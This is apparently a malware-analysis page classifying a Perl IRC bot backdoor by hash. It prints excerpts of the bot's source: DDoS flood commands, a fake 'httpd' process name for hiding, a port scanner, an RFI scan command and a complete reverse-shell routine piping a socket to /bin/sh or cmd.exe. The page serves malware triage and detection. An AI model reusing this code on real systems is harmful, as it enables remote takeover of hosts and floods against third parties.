Hostile 100% perl Download

Backdoor.Perl.IRCBot.Scanner.v

IRC bot with backdoor and DDoS

socket dial plus /bin/sh -i interactive shellPerl PF_INET socket + stdio redirect + exec
SHA-2560d9e416a40f1230807fb1407a6ce940a94c08431f1376a4eefe409bf85ffdabd

Evidence

HTTP flood terminology lines 19–41
19:29… ogle%20dork';
20# !morgan @rfiscan vulnfile.php?vulnvar=
21#
22# DDoS commands :
23# Udp : !morgan @udpflood IP packet-size time
24# Tcp : !morgan @tcpflood IP port time
25# Http: !morgan @httpflood www.website.com time
26#
27# Greets to :
28#
29# All #Morgan users...
30#
31#
32# Enjoy the bot ....
33# /Morgan
34
35use HTTP::Request;
36use LWP::UserAgent;
37
38################ V7 CONFIGURATION #############################################################
39my $processo = 'httpd -DSL -DSL2'; # Fake process name for the bot #
40if (`ps uxw` =~ /httpd -DSL -DSL2/) # (CHANGE IT!!!) #
41{ # …
Sends an IRC JOIN command lines 201–219
201:40… ick'} = $meunick;
202 $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
203 foreach my $canal (@canais) {
204 sendraw("JOIN $canal ddosit");
205 }
206 }
⋯13 lines
IRC PRIVMSG message literal lines 223–229
223:115… 5","6666","6667","6668","6669","7000","8080","8018");
224 my (@aberta, %porta_banner);
225 sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\0034[SCAN]\003\002 Scanning ".$1." for open ports.");
226 foreach my $porta (@portas) {
227 my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
228 if ($scansock) {
229 push (@aberta …
Perl TCP socket connect sequence lines 252–281
252:22… et, "PRIVMSG $printl :\002\0034[VERSION]\003\002 w0rmb0t ver ".$VERSAO);
253}
254
255if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
256my $host = "$1";
257my $porta = "$2";
258my $proto = getprotobyname('tcp');
259my $iaddr = inet_aton($host);
260my $paddr = sockaddr_in($porta, $iaddr);
261my $shell = "/bin/sh -i";
262if ($^O eq "MSWin32") {
263$shell = "cmd.exe";
264}
265socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
266connect(SOCKET, $paddr) or die "connect: $!";
267open(STDIN, ">&SOCKET");
268open(STDOUT, ">&SOCKET");
269open(STDERR, ">&SOCKET");
270system("$shell");
271close(STDIN);
272close(STDOUT);
⋯9 lines
Sends an IRC NICK command lines 538–561
⋯6 lines
544sub nick {
545 return unless $#_ == 0;
546 sendraw("NICK $_[0]");
547}
548sub quit {
⋯13 lines

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.